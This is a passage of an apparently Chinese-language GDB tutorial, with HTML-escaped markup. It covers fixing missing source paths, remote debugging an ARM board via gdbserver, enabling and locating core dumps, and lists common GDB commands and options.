Reading symbols from mainpro...done.
(gdb) b main
Breakpoint 1 at 0x4008de: file &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp, line 7.
(gdb) run
Starting program: &amp;#x2F;home&amp;#x2F;albert&amp;#x2F;mainpro

Breakpoint 1, main () at &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp:7
7   &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp: No such file or directory.
(gdb) info source
Current source file is &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp
Compilation directory is &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro
Source language is c++.
Producer is GNU C++ 5.4.0 20160609 -mtune=generic -march=x86-64 -g -fstack-protector-strong.
Compiled with DWARF 2 debugging format.
Does not include preprocessor macro info.
(gdb) list
2   in &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp
(gdb) pwd
Working directory &amp;#x2F;home&amp;#x2F;albert.
(gdb) show dir
Source directories searched: $cdir:$cwd
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;果然找不到源代码了,从上面的调试信息来看,可以得到以下信息:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;源代码文件为 &#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;core&#x2F;mainpro.cpp
程序编译目录为 &#x2F;mnt&#x2F;d&#x2F;mainpro
当前目录为 &#x2F;home&#x2F;albert
而源代码查找列表中只有 $cdir:$cwd,说明只包含 &#x2F;mnt&#x2F;d&#x2F;mainpro 和 &#x2F;home&#x2F;albert,那么查找的目录有:&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;core&#x2F;mainpro.cpp
&#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;core&#x2F;mainpro.cpp
&#x2F;home&#x2F;albert&#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;core&#x2F;mainpro.cpp
&#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;mainpro.cpp
&#x2F;home&#x2F;albert&#x2F;mainpro.cpp
这些目录显然找不到源代码文件了,因为文件已经被我移动到 &#x2F;mnt&#x2F;e&#x2F;newpro&#x2F; 目录下了,也就是 &#x2F;mnt&#x2F;e&#x2F;newpro&#x2F;core&#x2F;mainpro.cpp,下面来尝试一些解决方法.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;shi-yong-dir-ming-ling-jie-jue&quot;&gt;使用 dir 命令解决&lt;&#x2F;h4&gt;
&lt;p&gt;刚才说了源代码查找集合 SourcePathSet 中只有 $cdir:$cwd,我们可以自己加一个&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) dir &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;core&amp;#x2F;
Source directories searched: &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;core:$cdir:$cwd
(gdb) list
2   #include &amp;lt;iostream&amp;gt;
3   using namespace std;
4
5   int main()
6   {
7       int a = 1, b = 2;
8       mymath* m = new mymath();
9
10      int c = m-&amp;gt;add(a, b);
11      cout &amp;lt;&amp;lt; &amp;quot;c = &amp;quot; &amp;lt;&amp;lt; c &amp;lt;&amp;lt; endl;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就可以找到了,我们接着在 add 函数上下个断点,继续执行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) b mymath::add
Breakpoint 2 at 0x4009a6: file &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;kit&amp;#x2F;mymath.cpp, line 6.
(gdb) c
Continuing.

Breakpoint 2, mymath::add (this=0x613c20, a=1, b=2) at &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;kit&amp;#x2F;mymath.cpp:6
6   &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;kit&amp;#x2F;mymath.cpp: No such file or directory.
(gdb) list
1   in &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;kit&amp;#x2F;mymath.cpp
(gdb) info source
Current source file is &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;kit&amp;#x2F;mymath.cpp
Source language is c++.
Producer is GNU C++ 5.4.0 20160609 -mtune=generic -march=x86-64 -g -fstack-protector-strong.
Compiled with DWARF 2 debugging format.
Does not include preprocessor macro info.
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果发现又找不到文件 &#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;kit&#x2F;mymath.cpp 了,因为和之前不是一个文件,这个文件在其他的目录下,所以还要使用 dir 命令,把新的目录加到源代码查找集合 SourcePathSet 中:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) dir &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;kit&amp;#x2F;
Source directories searched: &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;kit:&amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;core:$cdir:$cwd
(gdb) list
1   #include &amp;quot;..&amp;#x2F;kit&amp;#x2F;mymath.h&amp;quot;
2   #include &amp;lt;iostream&amp;gt;
3   using namespace std;
4
5   int main()
6   {
7       int a = 1, b = 2;
8       mymath* m = new mymath();
9
10      int c = m-&amp;gt;add(a, b);
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这次又能成功找到了,可是如果有好多个文件要调试,难道要把所有的目录都加进去吗?
其实可以有简便方法的,在启动 gdb的时候可以指定搜索的源代码路径,这些路径都会被加到到源代码查找集合 SourcePathSet 中,
具体操作如下,先退出gdb,然后重新加参数启动如下:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;albert@home-pc:~$ gdb -q mainpro `find &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F; -type d -printf &amp;#x27;-d %p &amp;#x27;`
Reading symbols from mainpro...done.
(gdb) show dir
Source directories searched: &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;kit:&amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;core:&amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro:$cdir:$cwd
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实这条命令的本来面目是 gdb -q mainpro -d xxxxx,只不过这组合了 find 命令以后使用起来更加方便了,可以把指定目录下的子目录全都添加到参数中&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yong-cd-ming-ling-jie-jue&quot;&gt;使用 cd 命令解决&lt;&#x2F;h4&gt;
&lt;p&gt;如果是临时调试倒是用不到上面设置启动参数那么麻烦,因为变量 $cwd 也在搜索集合中,既然在编译时记录的源文件被改变了位置,那么我们调整我们的当前位置,让代码出现搜索路径中,还是上面的这个例子:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;albert@home-pc:~$ pwd
&amp;#x2F;home&amp;#x2F;albert
albert@home-pc:~$ gdb -q mainpro
Reading symbols from mainpro...done.
(gdb) b main
Breakpoint 1 at 0x4008de: file &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp, line 7.
(gdb) r
Starting program: &amp;#x2F;home&amp;#x2F;albert&amp;#x2F;mainpro

Breakpoint 1, main () at &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp:7
7   &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp: No such file or directory.
(gdb) list
2   in &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp
(gdb) cd &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;core&amp;#x2F;
Working directory &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;core.
(gdb) list
2   #include &amp;lt;iostream&amp;gt;
3   using namespace std;
4
5   int main()
6   {
7       int a = 1, b = 2;
8       mymath* m = new mymath();
9
10      int c = m-&amp;gt;add(a, b);
11      cout &amp;lt;&amp;lt; &amp;quot;c = &amp;quot; &amp;lt;&amp;lt; c &amp;lt;&amp;lt; endl;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的操作通过 cd &#x2F;mnt&#x2F;e&#x2F;newpro&#x2F;core&#x2F; 命令直接进入了源代码目录,当然就找到了,但是这还是会有点问题,当碰到需要调试好几个文件的时候就需要使用 cd 命令跳来跳去,要想一劳永逸,请看下面这个方法.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yong-set-substitute-path-ming-ling-jie-jue&quot;&gt;使用 set substitute-path 命令解决&lt;&#x2F;h4&gt;
&lt;p&gt;我们移动源代码的时候往往会整个目录移动,或者说开发机和发布机上面的代码文件组织结构是一样,只是所在的磁盘位置是不一样的,
所以如果可以设置用一个路径替换原代码文件的路径就好了, set substitute-path from-path to-path 这个命令就可以达到想要的目的,这个命令还可以简写成 set substitute from-path to-path,
比如还是前面的例子,源代码从 &#x2F;mnt&#x2F;d&#x2F;mainrpo 目录整体移动到了 &#x2F;mnt&#x2F;e&#x2F;newpro 目录,
调试时找不到源代码可以使用 set substitute &#x2F;mnt&#x2F;d&#x2F;mainrpo &#x2F;mnt&#x2F;e&#x2F;newpro 命令来指定替换目录,这样就可以找到源代码啦,下面来测试一下:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;albert@home-pc:~$ gdb -q mainpro
Reading symbols from mainpro...done.
(gdb) set substitute-path &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainrpo &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro
(gdb) b main
Breakpoint 1 at 0x4008de: file &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp, line 7.
(gdb) run
Starting program: &amp;#x2F;home&amp;#x2F;albert&amp;#x2F;mainpro

Breakpoint 1, main () at &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp:7
7   &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp: No such file or directory.
(gdb) cd &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;
Working directory &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro.
(gdb) list
2   &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp: No such file or directory.
(gdb) set substitute-path &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro
(gdb) list 0
1   #include &amp;quot;..&amp;#x2F;kit&amp;#x2F;mymath.h&amp;quot;
2   #include &amp;lt;iostream&amp;gt;
3   using namespace std;
4
5   int main()
6   {
7       int a = 1, b = 2;
8       mymath* m = new mymath();
9
10      int c = m-&amp;gt;add(a, b);
(gdb) info source
Current source file is &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp
Compilation directory is &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro
Located in &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;core&amp;#x2F;mainpro.cpp
Contains 14 lines.
Source language is c++.
Producer is GNU C++ 5.4.0 20160609 -mtune=generic -march=x86-64 -g -fstack-protector-strong.
Compiled with DWARF 2 debugging format.
Does not include preprocessor macro info.
(gdb) pwd
Working directory &amp;#x2F;home&amp;#x2F;albert.
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过调试信息 Located in &#x2F;mnt&#x2F;e&#x2F;newpro&#x2F;core&#x2F;mainpro.cpp 可以看到,果然在新的位置找到了源代码.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bian-yi-shi-shi-yong-xiang-dui-lu-jing-he-jue-dui-lu-jing-jie-jue-shi-shao-you-qu-bie&quot;&gt;编译时使用相对路径和绝对路径解决时稍有区别&lt;&#x2F;h4&gt;
&lt;p&gt;调试的时候找不到源码有多种解决方法,需要根据实际情况选择最合适的解决方案.
编译时使用绝对路径时,推荐使用 set substitute-path from-path to-path 的方式.
编译时使用相对路径时,使用 set substitute from-path to-path 或者 dir new-path 都可以.
对于临时查找一个问题,单独调试某一个文件时使用 cd 命令就可以搞定了.
直接在 gdb 环境输入 dir 命令回车确认,可以重置 dir 目录 或者 set dir 目录 命令修改过的源代码搜索目录集合.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yuan-cheng-gdbdiao-shi&quot;&gt;远程gdb调试&lt;&#x2F;h1&gt;
&lt;p&gt;启动gdbserver&lt;br&gt;
一种是用gdbserver将进程启动:如 gdbserver IP:PORT release.exe.&lt;br&gt;
另外一种是对于远程机器上已有的进程进行调试:gdbserver --attach IP:PORT PID,其中PID可以通过ps命令查看得到release版本的进程号:gdbserver --attach 192.168.1.1:8000 5925&lt;&#x2F;p&gt;
&lt;p&gt;在本地机器上通过gdb连接到上述远程待调试机器的gdbserver端口:
gdb debug.exe,然后执行命令target remote IP:PORT,IP:port为上述gdbserver中启动的IP:Port
...
(gdb) target remote IP:PORT&lt;&#x2F;p&gt;
&lt;p&gt;此时远程机器显示已经收到客户端的调试连接,如:
Remote debugging from host 192.168.1.2&lt;&#x2F;p&gt;
&lt;p&gt;本地机器连接到远程机器以后,远程的进程会被halt住,此时可以在本地机器执行gdb命令来使远程进程继续执行.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gdbhe-gdbserverban-ben-yao-yi-yang&quot;&gt;gdb和gdbserver版本要一样?&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;bian-yi-gdbserver&quot;&gt;编译gdbserver&lt;&#x2F;h3&gt;
&lt;p&gt;编译GDB源码时只需要编译出gdbserver就可以了,交叉编译器自带arm-linux-gdb(client端)可以使用.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;gdb-6.7.1
gdb-6.7.1&#x2F;gdb&#x2F;gdbserver&#x2F;
--host=arm-linux --prefix=&#x2F;work&#x2F;install&#x2F;gdbserver
install
这时会在&#x2F;work&#x2F;install&#x2F;gdbserver目录下生成bin&#x2F;gdbserver,将其拷贝到nfs文件系统
&#x2F;work&#x2F;install&#x2F;gdbserver
bin&#x2F;gdbserver &#x2F;work&#x2F;nfs&#x2F;rootfs&#x2F;bin&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;ku-wen-ti&quot;&gt;库问题&lt;&#x2F;h3&gt;
&lt;p&gt;这里需要注意的是运行gdbserver还需要libthread_db库,若你自己做的文件系统内没有这个库的话需要从交叉编译器内拷一个过去.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;-h (target)
gdbserver: error while loading shared libraries: libthread_db.so.1: cannot open shared object file: No such file or directory&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;-avf lib&#x2F;libthread_db* &#x2F;work&#x2F;nfs&#x2F;rootfs_bluetooth_omap&#x2F;lib&#x2F;
&lt;code&gt;&#x2F;lib&#x2F;libthread_db-1.0.so&#x27; -&amp;gt; &lt;&#x2F;code&gt;&#x2F;work&#x2F;nfs&#x2F;rootfs&#x2F;lib&#x2F;libthread_db-1.0.so&#x27;
&lt;code&gt;&#x2F;lib&#x2F;libthread_db.so.1&#x27; -&amp;gt; &lt;&#x2F;code&gt;&#x2F;work&#x2F;nfs&#x2F;rootfs&#x2F;lib&#x2F;libthread_db.so.1&#x27;
注:若不知道缺少什么库可以根据运行时错误提示拷贝或者用先用strace跟踪一下:
-f -F -o strace.log gdbserver -h
strace.log
发现如下字段:
872   writev(2, [{&quot;gdbserver&quot;, 9}, {&quot;: &quot;, 2}, {&quot;error while loading shared libra&quot;..., 36}, {&quot;: &quot;, 2}, {&quot;libthread_db.so.1&quot;, 17}, {&quot;: &quot;, 2}, {&quot;cannot open shared object file&quot;, 30}, {&quot;: &quot;, 2}, {&quot;No such file or directory&quot;, 25}, {&quot;\n&quot;, 1}], 10) = 126
872   exit_group(127)                   = ?
得知缺少libthread_db.so.1库(红色部分标出).&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;diao-shi-guo-cheng&quot;&gt;调试过程&lt;&#x2F;h3&gt;
&lt;p&gt;1)Target端建立远程调试服务&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;192.168.167.170:1234 obexftp (target)
Process obexftp created; pid = 858
Listening on port 1234&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;2)Host端GDB加载要调试的程序
这里要调试的程序得是交叉编译过的,并且加了-g参数.不过大部分编译程序默认就是加了-g参数的,这点可以从编译时的log看出.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;obexftp
GNU gdb 6.6.50.20070301 (MontaVista 6.6.50-2.0.1.0702865 2007-03-26)
Copyright (C) 2007 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and&#x2F;or distribute copies of it under certain conditions.
Type &quot;show copying&quot; to see the conditions.
There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.
This GDB was configured as &quot;--host=i686-pc-linux-gnu --target=armv5tl-montavista-linux-gnueabi&quot;...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;3)连接到目标板调试服务&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) target remote 192.168.167.15:1234
Remote debugging using 192.168.167.15:1234
Error while reading shared library symbols:
Dwarf Error: Can&#x27;t read DWARF data from &#x27;&#x2F;opt&#x2F;montavista&#x2F;pro&#x2F;devkit&#x2F;arm&#x2F;v5t_le&#x2F;target&#x2F;usr&#x2F;lib&#x2F;debug&#x2F;lib&#x2F;ld-2.5.90.so.debug&#x27;
0x400007a0 in _start () from &#x2F;opt&#x2F;montavista&#x2F;pro&#x2F;devkit&#x2F;arm&#x2F;v5t_le&#x2F;target&#x2F;lib&#x2F;ld-linux.so.3
注:上面两行错误信息暂时不用管,原因还不清楚,但是暂时发现不影响使用.
连接成功后ARM板上的信息应该是这样的:
192.168.0.29:1234 arm0702_8.out
Process arm0702_8.out created; pid = 228
Remote debugging from host 192.168.0.29  &amp;lt;----多出这一行
上面这行表示宿主机和开发板连接成功.现在我们就可以在Host端像调试本地程序一样调试ARM板上程序.不过,需要注意的是这里执行程序要用&quot;c&quot;,不能用&quot;r&quot;.因为程序已经在Target Board上面由gdbserver启动了.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;调试过程如下:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) b main
Breakpoint 1 at 0x9870: file obexftp.c, line 376.
(gdb) info b
Num Type           Disp Enb Address    What
1   breakpoint     keep y   0x00009870 in main at obexftp.c:376
(gdb) c
Continuing.
Error while mapping shared library sections:
&#x2F;work&#x2F;install&#x2F;bluetooth&#x2F;&#x2F;lib&#x2F;libobexftp.so.0: No such file or directory.
Error while mapping shared library sections:
&#x2F;work&#x2F;install&#x2F;bluetooth&#x2F;&#x2F;lib&#x2F;libc.so.6: No such file or directory.
Breakpoint 1, main (argc=1, argv=0xbed0dec4) at obexftp.c:384
384             if (strstr(argv[0], &quot;ls&quot;) != NULL)      most_recent_cmd = &#x27;l&#x27;;
若产生这个错误主要是由于该调试的应用程序使用到了额外的库,而这个库在gdb默认的搜索路径内没有
因此,这里我们需要修改一下gdb默认的共享库搜索路径.
修改的办法是设置GDB的环境变量:
(gdb) show solib-absolute-prefix
The current system root is &quot;&#x2F;opt&#x2F;montavista&#x2F;pro&#x2F;devkit&#x2F;arm&#x2F;v5t_le&#x2F;target&quot;.
上面这个路径即GDB默认的绝对搜索路径,即交叉编译器库路径
(gdb) show solib-search-path
The search path for loading non-absolute shared library symbol files is .
(gdb) set solib-search-path &#x2F;work&#x2F;install&#x2F;bluetooth&#x2F;lib
这个路径为若在solib-absolute-prefix指定的路径内没有搜索到库,则再继续尝试从该路径进行搜索.
这点倒有点类似于系统默认库搜索路径与LD_LIBRARY_PATH的关系.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;设置好solib-search-path后再运行程序:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) set solib-search-path &#x2F;work&#x2F;install&#x2F;bluetooth&#x2F;lib&#x2F;
(gdb) c
Continuing.
Error while reading shared library symbols:
Dwarf Error: Can&#x27;t read DWARF data from &#x27;&#x2F;opt&#x2F;montavista&#x2F;pro&#x2F;devkit&#x2F;arm&#x2F;v5t_le&#x2F;target&#x2F;usr&#x2F;lib&#x2F;debug&#x2F;lib&#x2F;ld-2.5.90.so.debug&#x27;
Breakpoint 1, main (argc=1, argv=0xbe896eb4) at obexftp.c:384
384             if (strstr(argv[0], &quot;ls&quot;) != NULL)      most_recent_cmd = &#x27;l&#x27;;
(gdb) l
379             char *output_file = NULL;
380             char &lt;em&gt;move_src = NULL;
381             &#x2F;&lt;&#x2F;em&gt; char *inbox; &lt;em&gt;&#x2F;
382
383             &#x2F;&lt;&#x2F;em&gt; preset mode of operation depending on our name *&#x2F;
384             if (strstr(argv[0], &quot;ls&quot;) != NULL)      most_recent_cmd = &#x27;l&#x27;;
385             if (strstr(argv[0], &quot;get&quot;) != NULL)     most_recent_cmd = &#x27;g&#x27;;
386             if (strstr(argv[0], &quot;put&quot;) != NULL)     most_recent_cmd = &#x27;p&#x27;;
387             if (strstr(argv[0], &quot;rm&quot;) != NULL)      most_recent_cmd = &#x27;k&#x27;;
388
(gdb)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;core-dumpdiao-shi&quot;&gt;Core Dump调试&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;da-kai-core-dumpgong-neng&quot;&gt;打开Core dump功能&lt;&#x2F;h2&gt;
&lt;p&gt;在终端中输入命令ulimit -c,输出的结果为 0,说明默认是关闭 core dump 的,即当程序异常终止时,也不会生成 core dump 文件.
我们可以使用命令ulimit -c unlimited来开启 core dump 功能,并且不限制 core dump 文件的大小; 如果需要限制文件的大小,将 unlimited 改成你想生成 core 文件最大的大小,注意单位为 blocks(KB).
用上面命令只会对当前的终端环境有效,如果想需要永久生效,可以修改文件 &#x2F;etc&#x2F;security&#x2F;limits.conf文件,关于此文件的设置参看这里 .增加一行:
line describes a limit for a user in the form:
##&lt;domain&gt;   &lt;type&gt;   &lt;item&gt;   &lt;value&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;pre&gt;&lt;code&gt;   soft     core   unlimited
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;xiu-gai-corewen-jian-bao-cun-de-lu-jing&quot;&gt;修改core文件保存的路径&lt;&#x2F;h2&gt;
&lt;p&gt;默认生成的 core 文件保存在可执行文件所在的目录下,文件名就为 core.
通过修改 &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;core_uses_pid 文件可以让生成 core 文件名是否自动加上 pid 号.例如 echo 1 &amp;gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;core_uses_pid ,生成的 core 文件名将会变成 core.pid,其中 pid 表示该进程的 PID.
还可以通过修改 &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;core_pattern 来控制生成 core 文件保存的位置以及文件名格式.例如可以用 echo &quot;&#x2F;tmp&#x2F;corefile-%e-%p-%t&quot; &amp;gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;core_pattern 设置生成的 core 文件保存在 &quot;&#x2F;tmp&#x2F;corefile&quot; 目录下,文件名格式为 &quot;core-命令名-pid-时间戳&quot;.这里 有更多详细的说明！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-gdpdiao-shi-corewen-jian&quot;&gt;使用gdp调试core文件&lt;&#x2F;h2&gt;
&lt;p&gt;为了使用gdb调试core文件,首先需要使生成的可执行文件带上调试信息,在使用gcc编译生成可执行文件时,使用-g参数就可以增加调试信息.
在开启core文件生成后,当程序崩溃时,就会自动生成core文件了,使用命令gdb program core命令就可以查看core文件.其中program是可执行文件的名称,而core则是刚生成的core文件名.
打开core文件后,就可以按照正常的gdb命令来查看core文件的信息了.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-ta-de-yi-xie-ming-ling&quot;&gt;其他的一些命令&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;如果电脑没有打开coredump,程序又挂了的时候,可以使用命令dmesg -T,说不定会有一些收获.&lt;&#x2F;li&gt;
&lt;li&gt;如果在dmesg的输出中看到了崩溃时的ip寄存器的信息,可以使用命令addr2line就能够定位到出问题的代码位置了.&lt;&#x2F;li&gt;
&lt;li&gt;调试C++的时候,符号信息不好阅读,可以使用命令c++filt将符号信息转为未修饰的函数名.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;yi-xie-zui-chang-yong-de-gdbming-ling&quot;&gt;一些最常用的GDB命令:&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;file [filename]   装入想要调试的可执行文件
kill [filename]   终止正在调试的程序
break [file:]func 在(file文件的)function函数中设置一个断点
clear             删除一个断点,这个命令需要指定代码行或者函数名作为参数
run [arglist]     运行您的程序 (如果指定了arglist,则将arglist作为参数运行程序)
bt Backtrace:     显示程序堆栈信息
print expr        打印表达式的值
continue          继续运行您的程序 (在停止之后,比如在一个断点之后)
list              列出产生执行文件的源代码的一部分
next              单步执行 (在停止之后); 跳过函数调用
nexti             执行下一行的源代码中的一条汇编指令
set               设置变量的值.例如:set nval=54 将把54保存到nval变量中
step              单步执行 (在停止之后); 进入函数调用
stepi             继续执行程序下一行源代码中的汇编指令.如果是函数调用,这个命令将进入函数的内部,单步执行函数中的汇编代码
watch             使你能监视一个变量的值而不管它何时被改变
rwatch            指定一个变量,如果这个变量被读,则暂停程序运行,在调试器中显示信息,并等待下一个调试命令.参考rwatch和watch命令
awatch            指定一个变量,如果这个变量被读或者被写,则暂停程序运行,在调试器中显示信息,并等待下一个调试命令.参考rwatch和watch命令
Ctrl-C            在当前位置停止执行正在执行的程序,断点在当前行
disable           禁止断点功能,这个命令需要禁止的断点在断点列表索引值作为参数
display           在断点的停止的地方,显示指定的表达式的值.(显示变量)
undisplay         删除一个display设置的变量显示.这个命令需要将display list中的索引做参数
enable            允许断点功能,这个命令需要允许的断点在断点列表索引值作为参数
finish            继续执行,直到当前函数返回
ignore            忽略某个断点制定的次数.例:ignore 4 23 忽略断点4的23次运行,在第24次的时候中断
info [name]       查看name信息
load              动态载入一个可执行文件到调试器
xbreak            在当前函数的退出的点上设置一个断点
whatis            显示变量的值和类型
ptype             显示变量的类型
return            强制从当前函数返回
txbreak           在当前函数的退出的点上设置一个临时的断点(只可使用一次)
make              使你能不退出 gdb 就可以重新产生可执行文件
shell             使你能不离开 gdb 就执行 UNIX shell 命令
help [name]       显示GDB命令的信息,或者显示如何使用GDB的总体信息
quit              退出gdb.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xuan-xiang&quot;&gt;选项&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;-symbols=file
-s file
    读出文件(file)中的符号表.
-write
    开通(enable)往可执行文件和核心文件写的权限.
-exec=file
-e file
    在适当时候把File作为可执行的文件执行,来检测与core dump结合的数据.
－se File
    从File读取符号表并把它作为可执行文件.
－core File
-c File
    把File作为core dump来执行.
－command=File
-x File
    从File中执行GDB命令.
－directory=Directory
-d Directory
    把Dicrctory加入源文件搜索的路径中.
-nx
-n
    不从任何.gdbinit初始化文件中执行命令.通常情况下,这些文件中的命令是在所有命令选项和参数处理完后才执行.
-quiet
-q
    &amp;quot;Quiet&amp;quot;.不输入介绍和版权信息.这些信息输出在batch模式下也被关闭.
-batch
    运行batch模式.在处理完所有用&amp;#x27;-x&amp;#x27;选项指定的命令文件(还有&amp;#x27;.gdbi-nit&amp;#x27;,如果没禁用)后退出,并返回状态码0.如果在命令文件中的命令被
    执行时发生错误,则退出,并返回状态码非0.batch模式对于运行GDB作为过滤器也许很有用,比如要从另一台电脑上下载并运行一个程序;为了让这些更有用,当
    在batch模式下运行时,消息:Program exited normally.(不论什么时候,一个程序在GDB控制下终止运行,这条消息都会正常发出.),将不会发出.
-cd=Directory
    运行GDB,使用Directory作为它的工作目录,取代当前工作目录.
-fullname
-f
